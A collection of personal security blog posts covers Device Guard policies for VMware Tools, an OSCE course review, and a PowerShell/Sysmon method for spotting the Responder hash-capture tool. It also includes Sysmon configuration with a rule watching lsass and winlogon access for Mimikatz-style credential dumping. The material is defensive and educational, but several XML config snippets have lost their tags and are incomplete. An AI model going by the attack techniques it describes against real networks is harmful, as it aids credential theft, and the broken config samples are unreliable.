I'm going to start off assuming you have followed Matt's steps and have a system deployed with Device Guard but with VMWare Tools in a non working state. The culprit, it seems, is sigc-2.0.dll

[![](https://3.bp.blogspot.com/-N5E1fhkwdGc/WVfbMtzbyBI/AAAAAAAAHa4/h7aYKh1k3JUzYX0DgKQwU7abYLtsI3CiACLcBGAs/s1600/Untitled%2Bpicture.png)](https://3.bp.blogspot.com/-N5E1fhkwdGc/WVfbMtzbyBI/AAAAAAAAHa4/h7aYKh1k3JUzYX0DgKQwU7abYLtsI3CiACLcBGAs/s1600/Untitled%2Bpicture.png)

[![](https://4.bp.blogspot.com/-X11EhPt66ZY/WVfbjJuCDWI/AAAAAAAAHa8/6NYyDU5nZRc3lbvZCjdR7nyV5aR6K7tWACLcBGAs/s1600/2017-06-24_16-04-21.png)](https://4.bp.blogspot.com/-X11EhPt66ZY/WVfbjJuCDWI/AAAAAAAAHa8/6NYyDU5nZRc3lbvZCjdR7nyV5aR6K7tWACLcBGAs/s1600/2017-06-24_16-04-21.png)

It looks like that particular dll isn't signed which doesn't jive with our originally created policies.

From this point we have to create a new policy specifically for VMWare tools which we will merge with our master policy. I used the following code:

*$VMWareFiles = Get-SystemDriver -ScanPath 'C:\Program Files\VMware\VMware Tools' -UserPEs*\
*New-CIPolicy -FilePath C:\DGPolicyFiles\VMWare.xml -DriverFiles $VMWareFiles -Level Publisher -Fallback Hash -UserPEs*\
This first line sets a variable with our scan path and then uses the New-CIPolicy cmdlet to create a policy using the publisher CA and then file hashes as a fallback method to generate a CI Policy.

Taking a peak at the policy that was generated, we see hashes generated for the various dll's within the VMWare tools folder, including our sigc-2.0.dll:

[![](https://2.bp.blogspot.com/-aNGvgz0X-a4/WVfc0ineboI/AAAAAAAAHbA/ipDx3x3k1Q0I8zHCaGpqhtxievippArJQCLcBGAs/s1600/2017-07-01_13-32-26.png)](https://2.bp.blogspot.com/-aNGvgz0X-a4/WVfc0ineboI/AAAAAAAAHbA/ipDx3x3k1Q0I8zHCaGpqhtxievippArJQCLcBGAs/s1600/2017-07-01_13-32-26.png)

Now that we have a policy generated, we need to merge it into our master policy, I used the following code:\
*$CIPolicyPath = "C:\DGPolicyFiles\\"*\
*$MasterPolicy = $CIPolicyPath+"MergedAuditPolicy.xml"*\
*$NewPolicy = $CIPolicyPath+"VMWare.xml"*\
*Merge-CIPolicy -PolicyPaths $MasterPolicy,$NewPolicy -OutputFilePath $CIPolicyPath\MasterMergedVMWareRules.xml*

This simply sets some variables with our path, including the original policy we used and our new VMWare Tools policy, the Merge-CIPolicy cmdlet is used to merge the two policies into one "Master Merged" policy. We then need to convert this policy and apply it, here I used Matt's code again, from his "Phase #4" portion ( <http://www.exploit-monday.com/2016/09/introduction-to-windows-device-guard.html> ) - I just changed the relevant variable in the following line:

*$MergedAuditPolicyXml = Join-Path -Path $PolicyDirectory -ChildPath 'MasterMergedVMWareRules.xml'*\
Now after a reboot, you should have a working set of VMWare tools.

A few notes ...

* You should take a close look to see what the generated VMWare Tools policy looks like and if you are comfortable trusting the dll's and exe's whitelisted.
* I am by no means an expert in Device Guard, I just really wanted to get a feel for it because it's a pretty awesome way to secure your assets and it's free. I'm sure there are more streamlined ways to script this or to lock down the policy tighter.
* Perhaps using hashes isn't the most robust or secure way to build a whitelist policy, but I couldn't seem to get VMWare tools working using just the publisher CA level.
* Again, all credit goes to Matt Graeber for writing the original guides.

Some helpful links:

<https://technet.microsoft.com/itpro/powershell/windows/configci/new-cipolicy>

<https://github.com/MicrosoftDocs/windows-itpro-docs/blob/master/windows/device-security/device-guard/deploy-code-integrity-policies-steps.md>

<http://www.exploit-monday.com/2016/11/code-integrity-policy-audit-methodology.html>

<http://www.exploit-monday.com/2016/10/code-integrity-policy-reference.html>


# Offensive Security OSCE (CTP) Review

**Intro**

I thought a long time about writing one of these reviews - there's so many good write ups out there for both the OSCE and the OSCP and I wasn't sure I had much to add.

I remembered though, that before signing up and while doing the course I read as many of these reviews as I could. Both for some inspiration and some motivation. What follows then is my review of the Offensive Security Cracking the Perimeter (CTP) course.

**Signing Up**\
In order to sign up for the course, you need to complete a preliminary challenge. This is located at <http://fc4.me/>

This challenge involves some very basic code review and debugging skills that are necessary in order to dive into the course material. The CTP course is not a "beginner" course and this challenge is a good way of gauging whether you have the requisite knowledge to begin the course.

**The Labs**\
This is where the fun begins. You receive a package with the materials required to connect to the labs as well as some videos and a course guide. I won't go into detail regarding what the course covers, the syllabus is available here: <https://www.offensive-security.com/documentation/cracking-the-perimiter-syllabus.pdf> - I highly recommend taking a look at it before starting the course.

The lab materials started off gently with some web exploitation techniques and worked their way up to full exploit development.

The course material is very interesting, especially compared to the OSCP material, as it requires some "unpacking" by students taking the course.

I spent a few weeks going through the course materials and at first, I thought "this isn't so bad" - in other words the material didn't seem to be very intense. I was wrong.

In many of the reviews of the CTP that you read, you often find students talking about how independent study and research is required in order to pass the course, and I found this to be very true.

Going through each of the modules, you might feel a certain comfort level, but do not get lulled into a false sense of security. Only when you go through each module in detail and begin unpacking exactly what is being shown do you realize how dense each module is and how much you have to learn. You really have pay close attention to every line of code and every instruction to truly understand what is being taught.

Going back to the earlier point about independent research - originally I had taken this to mean practicing what you learned in the labs on other known vulnerable software; perhaps recreating exploits found on exploit-db. I don't think this is bad advice, however, it lead me down a path of confusion and doubt. I wasn't sure that I would choose the right level of exploitability or difficulty so I took a slightly different approach.

In each of the modules I first followed the exercises to the letter and then once I understood what was going on I went back and "made them my own." By this I mean I swapped the shellcode, changed certain instructions, used various techniques to jump to my code etc. I found that I learned a ton through this method. I would not have been successful in passing the exam if I had not done this.

**The Exam**\
After spending a few months in the labs I was feeling fairly confident going into the exam. I knew the material well but I had no idea what to expect for the exam. As soon as the package came in I was feeling a little overwhelmed and began doubting myself. For two days straight I hammered away at the various exercises and got nowhere. I failed the first attempt.

**In Between Exam Attempts**\
I took a few weeks between exam attempts to go over the lab material again and gain some confidence. I also practiced a little on vulnserver.exe. I didn't really learn anything groundbreaking or new during this time, but going through the material again helped me get some confidence back, because I knew that I didn't fail the first exam due to lack of knowledge.

**Exam Attempt Two**\
Going into the second exam attempt, I knew I had to have more confidence in myself and to not get overwhelmed. I knew the material well and had put a lot of time and effort into studying. This time around, the exam went much more smoothly. I had a few targets down after 12 hours and after a quick nap I had the last of the targets down. I read and re-read the documentation instructions again, put together a report and sent my materials in and received my passing email shortly thereafter.

**My Advice to You**\
If you happen to be reading this, you're probably either already taking or are thinking about taking the CTP course. Here's some tips I wish I would have had at this stage.

* Believe in yourself. I know this one seems silly but self-doubt will get you nowhere in this course. Everything you need to pass the exam is in the course materials and if you put in the time and effort required to study and understand them, then you are well equipped to pass the course.
* Do not get overwhelmed. This is where I went wrong during my first exam attempt. The exam is fourty-eight hours for a reason. You have plenty of time. Think about what you are doing, take your time, take breaks, take care of yourself.
* Understand what is going on in the lab exercises. Really dissect them all and take them apart. They may seem shorter than the ones found in the OSCP lab materials, but they are very dense. Make sure you understand every command used and why it's there.
* Make the lab exercises your own. I alluded to this earlier but I cannot stress enough how much this helped me. If a lab exercise uses a certain JMP ESP or POP POP RET instruction, go and find your own. If it uses a long jump, try to use an egghunter. If it uses a bind shell, try to use a reverse shell instead. If something you do breaks your exploit, figure out why and get it to work. This is a great way to learn the materials and perform your own independent research.
* Read every forum post. When you sign up for the course you will get access to the offsec OSCE forums. There is a lot of information here, some of the posts are older but do not let that deter you. Most of the challenges you are having were shared by other students taking the course, so this is a great place to start.
* Take really good notes. Take note of everything you tried, even if it doesn't work. There's lots of note taking apps. OneNote worked well for me during my OSCP and OSCE. If you come across something interesting in your googling, highlight it and clip it to OneNote, you never know when it will come in handy.
* Do not get discouraged. Often during the course things will not work and you will get stuck. Do not get discouraged by this. If you didn't get stuck at any point that would mean you are either a genius or this course is too easy. If it's the former than congratulations :) The latter is the desired result, this course is meant to be hard, getting stuck is okay; you'll figure it out and will feel great when you do.
* Make the time. This is a very time consuming course. To give you an estimate, during my first months I would spend about 4-5 hours per weekday in the labs and about 8 hours a day on the weekends. This tapered off towards the end of the course but was still a very significant time investment.
* Enjoy. This is completely cliche, but enjoy the course and the labs. The course materials are put together by experts through first hand, hands-on experience during their penetration tests. How cool is that?

**Me**\
I read many reviews of both the OSCE and OSCP and what I felt personally lacking was some information about the persons background. Some of the reviews I looked at - mainly harmj0y's (<http://www.harmj0y.net/blog/uncategorized/cracking-the-perimeter-ctp-and-osce-review/>) and OJ's (<http://buffered.io/posts/osce-and-me/>) left me thinking - of course these guys can do it, they're best in class security pro's. Indeed they are, but you don't need to be a harmj0y or OJ to pass the course.

I'm hoping that by giving you a little bit of detail about my background that it will add some comfort and confidence that you too could take the course.

At the point of taking the CTP course, I was in the security industry for about 5 years. I started out in a service / help desk role and worked my way into a information security role. At the time, I mostly did administrative work like access reviews, preparing for audits, helping project teams understand our security policy and the like. I did not get into the technical bits of security, but I was sure craving it, especially after seeing our first penetration test. I wanted to understand what was going on.

In late 2015 I signed up for the PWK/OSCP course. Before this, I hadn't done any hands on Sysadmin work or technical security work. I had completed a 3-year technical IT college diploma and I loved to tinker with computers but my IT-related background was very thin. After college I did a Bachelors and Master's in History - far far away from the computer world.

I did a ton of reading and prep work prior to starting my OSCP and spent three months in the labs soaking up all the knowledge I could. I passed the exam on the first try, exploiting every target on the exam. A very proud moment for me.

After my OSCP I transitioned to a more technical security role and spent the next year and a bit diving into the more technical aspects of security. I built up the SIEM and Vulnerability Management systems at work and did basic ad-hoc penetration tests and poked at some of web applications. It was at this point that I decided to sign up for the CTP course.

I consider myself a security noob and every day I find a new thing to dig into or an exploitation technique that I didn't know existed. My point here is that if you think that you don't have enough knowledge or a strong enough background to start the CTP or PWK, then you might be mistaken. Sure if you don't have a good grasp of the basics, get those under your belt first, but do not be discouraged. If a noob like me can do it, so can you.

**Resources**

The following is a dump of links I found extremely helpful to me during the course. It is non exhaustive.

**Link**

**Description**

<https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/>

A classic and indepth tutorial on exploit development. A must read.

<http://fuzzysecurity.com/tutorials.html>

Very good tutorials on exploit development. Also a must read.

<http://www.securitysift.com>

Great tutorials and write ups here, also a great OSCE review found here.

<https://www.exploit-db.com/shellcode/>

A good database of shellcode, you can take a look at some of the assembly required for various shellcode types

<http://buffered.io>

OJ’s blog – a good OSCE review found here as some well some helpful tips for jumping around shellcode and shellcode encoding

<http://thestarman.pcministry.com/asm/2bytejumps.htm>

A reference for jump instructions in assembly, very helpful

<http://www.asciitohex.com/>

A simple ASCII to HEX or HEX to ASCII converter

<http://resources.infosecinstitute.com/in-depth-seh-exploit-writing-tutorial-using-ollydbg/>

Good write-up of some tips for using OllyDbg

<https://github.com/mgeeky/expdevBadChars>

Useful script for finding bad characters during exploit development

<http://resources.infosecinstitute.com/intro-to-fuzzing/>

Good write-up of using the SPIKE fuzzer

<http://blog.knapsy.com/blog/2017/05/01/quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder/>

Really good write-up of on exploit in QuickZIP. Many useful tidbits here.

<http://www.scadacore.com/field-tools/programming-calculators/online-hex-converter/>

A good converter especially for Endian format.

<https://blog.synack.co.uk/2017/05/16/getting-really-low-backdooring-an-exe/>

Good write-up of backdooring an executable file.

<https://labs.neohapsis.com/2008/07/21/local-file-inclusion-%E2%80%93-tricks-of-the-trade/>

Nice overview of some LFI vulnerabilities

<https://www.exploit-db.com/papers/12992/>

Another overview of LFI vulnerabilities

<https://defuse.ca/online-x86-assembler.htm#disassembly2>

Online assembler / disassembler – I used this so many times, paste some shellcode into the disassemble box and it will spit out a copy and pasteable Python-friendly format

<https://blog.g0tmi1k.com/>

Tons of good stuff here, the CTP write-ups are great

<https://highon.coffee/>

Very good cheat-sheets found here.

<http://sh3llc0d3r.com/vulnserver-trun-command-buffer-overflow-exploit/>

Good write-ups on exploiting vulnserver


# (Attempting) to Detect Responder with Sysmon

If you've ever worked at company that has had a Penetration test performed, or have performed a pen test yourself, you have likely come across a tool called Responder.

Responder can be found here: <https://github.com/lgandx/Responder> - a short description is also available there.

At the most basic level, Responder does exactly what it says: "Responds"

There are various servers built in, and when a computer on the network attempts to request a resource, it gets its answer from the attacker running Responder.

For some more information, check out this link: <https://www.trustwave.com/Resources/SpiderLabs-Blog/Top-Five-Ways-SpiderLabs-Got-Domain-Admin-on-Your-Internal-Network/>

So, why is Responder dangerous? Well, let's say a user is browsing for a share, and mistypes this information while an attacker is running Responder on a network:

[![](https://2.bp.blogspot.com/-zT9-zqMjepY/WGWY1tL9UfI/AAAAAAAAHUg/nVypBN_dLL4wqHoorV3AF_fBpadQVydlgCLcB/s1600/2016-12-29_18-13-23.png)](https://2.bp.blogspot.com/-zT9-zqMjepY/WGWY1tL9UfI/AAAAAAAAHUg/nVypBN_dLL4wqHoorV3AF_fBpadQVydlgCLcB/s1600/2016-12-29_18-13-23.png)

Responder then intercepts this request, pretending to be an SMB server, and grabs the hash for the user that mistyped this share:

[![](https://2.bp.blogspot.com/-LjdEQTXaxVA/WGWY2aLTmtI/AAAAAAAAHUk/zONAF4IHXkQ2x1Skb3DHBz-8Zb6wUIzdgCEw/s1600/2016-12-29_18-14-12.png)](https://2.bp.blogspot.com/-LjdEQTXaxVA/WGWY2aLTmtI/AAAAAAAAHUk/zONAF4IHXkQ2x1Skb3DHBz-8Zb6wUIzdgCEw/s1600/2016-12-29_18-14-12.png)

An attacker can now grab this hash and crack it, or do some other interesting things like "Passing the Hash"

Responder is notoriously difficult to detect on a network as it's fairly stealthy.

I've seen some talks where people have used various methods to detect Responder's activity, like spraying fake credentials on the network and watching for their use ( <https://github.com/Ben0xA/PowerShellDefense> ).

A network Intrusion Detection System may also be able to pick up Responder traffic by analyzing packets and determining that a certain response was invalid.

There is, however, another way.

I previously wrote about an awesome tool called Sysmon. Sysmon has the ability to tell you when your computer makes a network connection - so what if we intentionally browse for a non-existent share, and then keep an eye out for who Responds ?

Here's the basic network overview of the scenario outlined above:

Domain Controller: 192.168.1.142

Attacker: 192.168.1.15

Victim: 192.168.1.128

In this scenario, as with the scenario above, the victim (192.168.1.128) browses to a non-existent file share. The attacker (192.168.1.15) responds.

Sysmon saw this activity - but it's a bit hard to spot why it's nefarious:

[![](https://1.bp.blogspot.com/-iCpgpp7PpLE/WGWbwIMtqCI/AAAAAAAAHU0/VG45byjV5q4WVdaguSR04O10DQ87JXWqACLcB/s1600/2016-12-29_18-22-58.png)](https://1.bp.blogspot.com/-iCpgpp7PpLE/WGWbwIMtqCI/AAAAAAAAHU0/VG45byjV5q4WVdaguSR04O10DQ87JXWqACLcB/s1600/2016-12-29_18-22-58.png)

You can see our victim made a connection with the attacking machine (192.168.1.105) over port 445 (SMB).

For a defender to notice something is wrong, they would need to know that 192.168.1.105 is not a legitimate file server or domain controller.

One way to add some smarts to this is with PowerShell:

*Import-Module C:\Users\Administrator\Downloads\Get-WinEventData.ps1*

*Set-Location \idontexistpc\sharenotthere -ErrorAction SilentlyContinue*

*$EventsID3 = Get-WinEvent -FilterHashtable @{logname="Microsoft-Windows-Sysmon/Operational";id=3} | Get-WinEventData | select EventDataDestinationPort, EventDataDestinationIp*

*foreach($Event3 in $EventsID3){*

*if(($Event3.EventDataDestinationPort -eq 445) -and ($Event3.EventDataDestinationIp -notcontains "192.168.1.142")){*

*Write-Host "SMB Response Sent to Untrusted": $Event3.EventDataDestinationIp*

*}*

*}*

This little script does a few things.

First, it browses to non-existent share. This is designed to generate an event to which Responder will respond to.

Second, the script grabs and parses out all the Sysmon Event ID 3 (Network Connect) logs.

Finally, the script loops through these logs, and if it finds a destination port of 445 (SMB) and the destination IP is not our domain controller, then it writes a message out.

Here's what it looks like when ran:

[![](https://4.bp.blogspot.com/-IoH1gkyC7js/WGWdRvpQhLI/AAAAAAAAHVE/Cgt_ho2g-i4BoiBRH8tzsa2cU23Z_HGqgCLcB/s1600/2016-12-29_18-33-12.png)](https://4.bp.blogspot.com/-IoH1gkyC7js/WGWdRvpQhLI/AAAAAAAAHVE/Cgt_ho2g-i4BoiBRH8tzsa2cU23Z_HGqgCLcB/s1600/2016-12-29_18-33-12.png)

The script can be expanded to include multiple IPs or to include port 139 (NetBIOS) as well.

The idea would be to install this script as a scheduled task, running every 10 minutes or whatever you choose on some unused PC on your network. The script will continually try to reach out to a share that you know does not exist, and will alert you when something (ie: Responder) answers. Pretty simple....

**A few notes:**

* Take a look at Laurent Gaffie (creater of Responder) blog here: <http://g-laurent.blogspot.ca/> - I believe he is now taking monetary contributions for his work, so please support him if you find Responder useful.
* The script and techniques outlined above are NOT meant to be a comprehensive defense against Responder or another "Man in the Middle" type tools. Things like properly placed and configured IDS and disabling of legacy protocols like NetBIOS over TCP/IP are much better solutions. **This method is just another layer in your defenses - it is not a silver bullet.**
* Some other useful links:

<https://www.trustedsec.com/july-2013/wpad-man-in-the-middle-clear-text-passwords/>

<https://www.praetorian.com/blog/broadcast-name-resolution-poisoning-wpad-attack-vector>


# Working with Sysmon

In my previous post I outlined how to set up Sysmon with a basic configuration. If you had followed those steps you will now have many events in your Sysmon logs without a good way of:

1\) Filtering out unwanted processes or network connections and\
2\) No way of working with the logs themselves.

In this post. I want to show you how to address these two areas.

**Filtering Out Noisy Events:**

After looking at your Sysmon events, you decide that monitoring UDP traffic provides you no value. This is simple to exclude via the configuration file. Here's the syntax:

*udp*\
*\</NetworkConnect>*\
Anything within the *onmatch="exclude"* tag will be excluded.

You can also exclude a certain process. For example, if you have do not wish to see network connections made by Chrome:

*chrome.exe*\
*\</NetworkConnect>*\
By looking at an EventID 3 (Network Connection) you can see what to filter on more clearly:

[![](https://4.bp.blogspot.com/-19phnQlMXTE/WFW9gBp7NzI/AAAAAAAAHTw/evAIR1QCqeIIbqhrwhrsgSUEx9iqZtykgCLcB/s1600/2016-12-17_17-34-04.png)](https://4.bp.blogspot.com/-19phnQlMXTE/WFW9gBp7NzI/AAAAAAAAHTw/evAIR1QCqeIIbqhrwhrsgSUEx9iqZtykgCLcB/s1600/2016-12-17_17-34-04.png)

If you wanted to filter on SourcePort, for example, you would do:

*53*\
*\</NetworkConnect>*\
Putting it all together, excluding the protocol UDP, Port 53(TCP\&UDP), and Chrome, your configuration entry would look like this:

*chrome.exe*\
*53*\
*udp*\
*\</NetworkConnect>*\
If you look carefully, you will some conditions have "end with" and some "is" - if the condition is a file path, feel free to use "end with" and just include the process name without the full path.

Likewise, if the condition you are trying to match on is just a protocol or port, without a path, feel free to use "is". You can also use "is" and include the full path of the process. In this example, our chrome rule would look like:\
*C:\Program Files\Chrome\chrome.exe*\
You can follow the same rule building logic for other events. For example, here is one for the FileCreate event. This way you can exclude certain processes from logging an event when they create a file.

*chrome.exe*\
*\</FileCreate>*\
Using the above example, Sysmon will not log an event when chrome creates a file. Of course, choosing when to include and exclude events and processes is entirely up to you. Sysmon can show you as much or as little detail as you would like.

One piece of configuration that I highly recommend leaving in your Sysmon configuration is ProcessAcces, monitoring lsass.exe and winlogon.exe

*C:\Windows\System32\lsass.exe*\
*C:\Windows\System32\winlogon.exe*\
*\</ProcessAccess>*

This configuration will monitor for processes accessing lsass and winlogon - chief among these that you want to watch for as a defender is Mimikatz, which - among many other things - can dump credentials from within memory in clear text.

Some great resources for Mimikatz can be found here:

<https://www.sans.org/reading-room/whitepapers/detection/mimikatz-overview-defenses-detection-36780>\
<https://adsecurity.org/?page_id=1821> \[you can probably spend months reading / absorbing the information on adsecurity - such a great resource]\
<https://twitter.com/gentilkiwi>

**A note: The idea to include these processes is not mine. Please see this Tweet from Microsoft's John Lambert -**[**https://twitter.com/JohnLaTwC/status/802178985106911232**](https://twitter.com/JohnLaTwC/status/802178985106911232)

You may find that the above ProcessAccess configuration produces some noise. Keep an eye on these events and exclude benign process using:

*xxxx.exe*\
*\</ProcessAccess>*\
If you are still confused about the Sysmon configuration, a really good and comprehensive configuration can be found via Florian Roth - <https://twitter.com/cyb3rops/status/809044800980844548>

Please look this configuration over before loading into your environment, as it may need tweaking. Also, please use a test workstation. Certain mistakes / syntax errors in your configuration will be caught by Sysmon, but others will Bluescreen your system.

**Working With Event Data**\
Now that we have a working configuration file, we need a good way of extracting and parsing these events. This section will attempt to cover that. First, a few things of note.

The scripts and code for this, while slightly tweaked by me, were originally downloaded from: <https://gist.github.com/RamblingCookieMonster/da272fee3b9a879bfee9>

You will also need the Get-WinEventData PowerShell module, available from here: <https://gallery.technet.microsoft.com/scriptcenter/Get-WinEventData-Extract-344ad840>

What this module allows you do is grab the custom event data that Sysmon writes to the Event Log, it works with the built-in PowerShell cmdlet Get-WinEvent ( <https://msdn.microsoft.com/en-us/powershell/reference/5.1/microsoft.powershell.diagnostics/get-winevent> ).

Before we begin diving into PowerShell, I have to confess: I am not good at PowerShell. If you happen to be reading this as a developer or as someone who has spent a lot of time writing PowerShell, you may cringe at my code. I am not a developer by trade, but I do respect the profession. I can hack together and read code to fit my needs, but it isn't pretty - please keep that in mind and do not judge me too harshly :)

Let's look at a sample Event ID 1 - ProcessCreate:

[![](https://3.bp.blogspot.com/-I_sWwdJiQgc/WFXKXUakM0I/AAAAAAAAHUA/MYdaUmU_kRcUdIJrOxwmF8v8e4JxIL3hgCLcB/s1600/2016-12-17_18-26-53.png)](https://3.bp.blogspot.com/-I_sWwdJiQgc/WFXKXUakM0I/AAAAAAAAHUA/MYdaUmU_kRcUdIJrOxwmF8v8e4JxIL3hgCLcB/s1600/2016-12-17_18-26-53.png)

We only want to parse out the events that are highlighted in red (CommandLine, CurrentDirectory, User and Hashes).

We can do this via the following code:

*$EventsID1 = Get-WinEvent -FilterHashtable @{logname="Microsoft-Windows-Sysmon/Operational";id=1} | Get-WinEventData | select MachineName, TaskDisplayName, EventDataCommandLine, EventDataCurrentDirectory, EventDataHashes, EventDataUser*\
*foreach ($Event1 in $EventsID1)*\
*{*\
*$output = Write-Output ( ('Sysmon\_Event\_1: ')+($Event1.TaskDisplayName )+ (' Machine Name:'+$Event1.MachineName )+ (' CMD:'+$Event1.EventDataCommandLine+" ")+ (' Dir: '+$Event1.EventDataCurrentDirectory )+ (' Hashes: '+$Event1.EventDataHashes )+ (' UserName: '+$Event1.EventdataUser ))*\
*Add-Content $File -Value $output*\
*}*

What the hell is happening here, you may ask.

What we are doing is loading the Sysmon Event ID 1 events, and filtering by hashtable into the variable $EventsID1 \[ *$EventsID1 = Get-WinEvent -FilterHashtable @{logname="Microsoft-Windows-Sysmon/Operational";id=1} ].*\
We then pipe these events to the Get-WinEventData cmdlet, which lets us parse out the custom Sysmon fields we want, these types of events are prepended with 'EventData':

\[ *Get-WinEventData | select MachineName, TaskDisplayName, **EventDataCommandLine**, **EventDataCurrentDirectory**, **EventDataHashes**, **EventDataUser** ]* The MachineName and TaskDisplayName are variables from the Get-WinEvent cmdlet.

Now that we have the Sysmon events we are interested in assigned to a variable, we loop through them, appending some text and outputting that content to a file:

\[ *$output = Write-Output ( ('Sysmon\_Event\_1: ')+($Event1.TaskDisplayName )+ (' Machine Name:'+$Event1.MachineName )+ (' CMD:'+$Event1.EventDataCommandLine+" ")+ (' Dir: '+$Event1.EventDataCurrentDirectory )+ (' Hashes: '+$Event1.EventDataHashes )+ (' UserName: '+$Event1.EventdataUser ))*\
*Add-Content $File -Value $output ]*\
Here is a small sample script:

*#This script grabs Sysmon windows event logs and extracts elements of these logs into a text file to be parsed further by the SIEM.*\
*Clear*\
*#This module is needed to access Windows Event Custom data.*\
*Import-Module 'Get-WinEventData.ps1'*\
*#Grab the name of the computer - used for naming of files only*\
*$HostName = $env:COMPUTERNAME*\
*#Sets the variable of the file name*\
*$File = "C:\Sysmon$HostName.txt"*\
*#Series of for loops to grab the relevant information - the first part grabs the Sysmon events and the pipe to Get-WinEventData grabs the custom elements of the logs, each ID or Sysmon event type has its own custom element.*

*#This is for Event ID 1: Process creation*\
*$EventsID1 = Get-WinEvent -FilterHashtable @{logname="Microsoft-Windows-Sysmon/Operational";id=1} | Get-WinEventData | select MachineName, TaskDisplayName, EventDataCommandLine, EventDataCurrentDirectory, EventDataHashes, EventDataUser*\
*foreach ($Event1 in $EventsID1)*\
*{*\
*$output = Write-Output ( ('Sysmon\_Event\_1: ')+($Event1.TaskDisplayName )+ (' Machine Name:'+$Event1.MachineName )+ (' CMD:'+$Event1.EventDataCommandLine+" ")+ (' Dir: '+$Event1.EventDataCurrentDirectory )+ (' Hashes: '+$Event1.EventDataHashes )+ (' UserName: '+$Event1.EventdataUser ))*\
*Add-Content $File -Value $output*

*}*

And here is what this looks like written to a file (My PC and User names replaced with X's):

Sysmon\_Event\_1: Process Create (rule: ProcessCreate) Machine Name:XXXX CMD:"C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell\_ISE.exe" Dir: C:\WINDOWS\system32 Hashes: SHA1=1B26F9BCAC988CC3BE3633D56E7992C60291B9CB,MD5=3F06E220C3E591F458D549B01ECCCB95,SHA256=C2E227A3A9668D651C9F7AF5B27C4FC198F4D043D951E6EC100BEDC5497942F7,IMPHASH=00000000000000000000000000000000 UserName: XXXXXX

You can use the same logic for other Sysmon events, here is one for Event 2:

*#This is for Event ID 2: A process changed a file creation time*\
*$EventsID2 = Get-WinEvent -FilterHashtable @{logname="Microsoft-Windows-Sysmon/Operational";id=2} | Get-WinEventData | select MachineName, TaskDisplayName, EventDataImage, EventDataTargetFileName, EventDataCreationUtcTime*\
*foreach ($Event2 in $EventsID2)*\
*{*\
*$output = Write-Output ( ('Sysmon\_Event\_2: ')+($Event2.TaskDisplayName )+ (' Machine Name:'+$Event2.MachineName )+ (' DataImage:'+$Event2.EventDataImage+" ")+ (' TargetFile: '+$Event2.EventDataTargetFileName )+ (' Time: '+$Event2.EventDataCreationUtcTime ))*\
*Add-Content $File -Value $output*\
*}*

The only thing that changes is id=2 (for Event 2) and the EventData elements you want to grab.

You can use the basics of this script to pull Sysmon events from Systems and output them to a file for parsing by a SIEM or some other appliance. Those with more PowerShell-fu can probably do fancier things like loading these events in a database.

If this method of working with Sysmon Events does not fit your needs, be sure to check out Posh-Sysmon by Carlos Perez - <https://www.powershellgallery.com/packages/Posh-Sysmon/0.7.3> Posh-Sysmon is designed to help you create Sysmon configuration files, but it also has a module for grabbing Sysmon events. The method above worked better for my needs, as I could prepend my own text to event data making it much easier to parse, but play with both methods and see what fills your needs.

Carlos also has an excellent write-up on Sysmon here: <http://www.darkoperator.com/blog/2014/8/8/sysinternals-sysmon>

**Wrap-Up**\
Hopefully by now you have the knowledge to deploy and configure Sysmon on your system or in an environment you manage. You also have several options for working with Sysmon data.

Please check out all the links I referenced, they were my stepping stones for figuring Sysmon out when I first got wind of its release. A guide like I tried to write in this and my previous blog post did not exist for me when I was attempting to set up Sysmon. Thanks to those I referenced in these posts, I was able to figure it out. That's it for now, until I think of something else useful to blog about.


# Setting Up Sysmon

On November 23rd Microsoft / Sysinternals released a new version of Sysmon. Sysmon installs as a service and provides detailed logging information on items that are not normally logged in default Windows logging configurations.

Sysmon can be used to troubleshoot server issues, but today I want to outline how it can be used to detect Malware or other malicious activity on hosts.

The first step is to grab Sysmon from <https://technet.microsoft.com/en-us/sysinternals/sysmon>

There are a few options available to install Sysmon:

[![](https://1.bp.blogspot.com/-jcDd0SqjWUo/WFCUAS6dajI/AAAAAAAAHSM/31upz7-EXCUfHX3UocZaYhvnTrB1Sy1iQCLcB/s640/2016-12-13_19-35-31.png)](https://1.bp.blogspot.com/-jcDd0SqjWUo/WFCUAS6dajI/AAAAAAAAHSM/31upz7-EXCUfHX3UocZaYhvnTrB1Sy1iQCLcB/s1600/2016-12-13_19-35-31.png)

But the best option is through a config file - the Sysmon site has a default one available, but I am using a slightly tweaked version, here is the text that you can copy and save as an XML file.

> *\**\
> \
> \
> *microsoft*\
> *windows*\
> *\</DriverLoad>*\
> \
> \
> *iexplore.exe*\
> *\</NetworkConnect>*\
> *\</EventFiltering>*\
> *\</Sysmon>*

So now you have your Sysmon.exe and the config file - now what.

Open up an administrative command prompt and install using your XML config you made earlier:

[![](https://4.bp.blogspot.com/-TGmhctcOwVY/WFCU1HBLMRI/AAAAAAAAHSQ/W3VDYZfaoLEFzdQcMCWbRxcMlatYj3p7QCLcB/s640/2016-12-13_19-38-48.png)](https://4.bp.blogspot.com/-TGmhctcOwVY/WFCU1HBLMRI/AAAAAAAAHSQ/W3VDYZfaoLEFzdQcMCWbRxcMlatYj3p7QCLcB/s1600/2016-12-13_19-38-48.png)

The -i parameter tells Sysmon to use your config.xml instead of the default options.

Now for the fun part, let's go explore some logs.

Open up Event Viewer and navigate to Applications and Services --> Microsoft -> Windows -> Sysmon -> Operational - this is where all your Sysmon logs will go.

[![](https://4.bp.blogspot.com/-pec9utg6R40/WFCV7JLSw0I/AAAAAAAAHSc/Jtmac_79ouc4XCsOznEwqY3GvWz53ogQQCLcB/s1600/2016-12-13_19-43-43.png)](https://4.bp.blogspot.com/-pec9utg6R40/WFCV7JLSw0I/AAAAAAAAHSc/Jtmac_79ouc4XCsOznEwqY3GvWz53ogQQCLcB/s1600/2016-12-13_19-43-43.png)

Close your eyes and pretend that an attacker managed to get Administrative credentials somehow and has now executed a Meterpreter payload on your victim system.

You got some long hours ahead no doubt, but at least you'll be able to see the malicious activity with Sysmon!

Here is the Meterpreter session executing:

[![](https://1.bp.blogspot.com/-lTCmG-g8jrA/WFCYaasgnMI/AAAAAAAAHSo/IWQrZxAzVEQMMms_sbja_4OoR-EhyTwfQCLcB/s1600/2016-12-13_19-53-38.png)](https://1.bp.blogspot.com/-lTCmG-g8jrA/WFCYaasgnMI/AAAAAAAAHSo/IWQrZxAzVEQMMms_sbja_4OoR-EhyTwfQCLcB/s1600/2016-12-13_19-53-38.png)

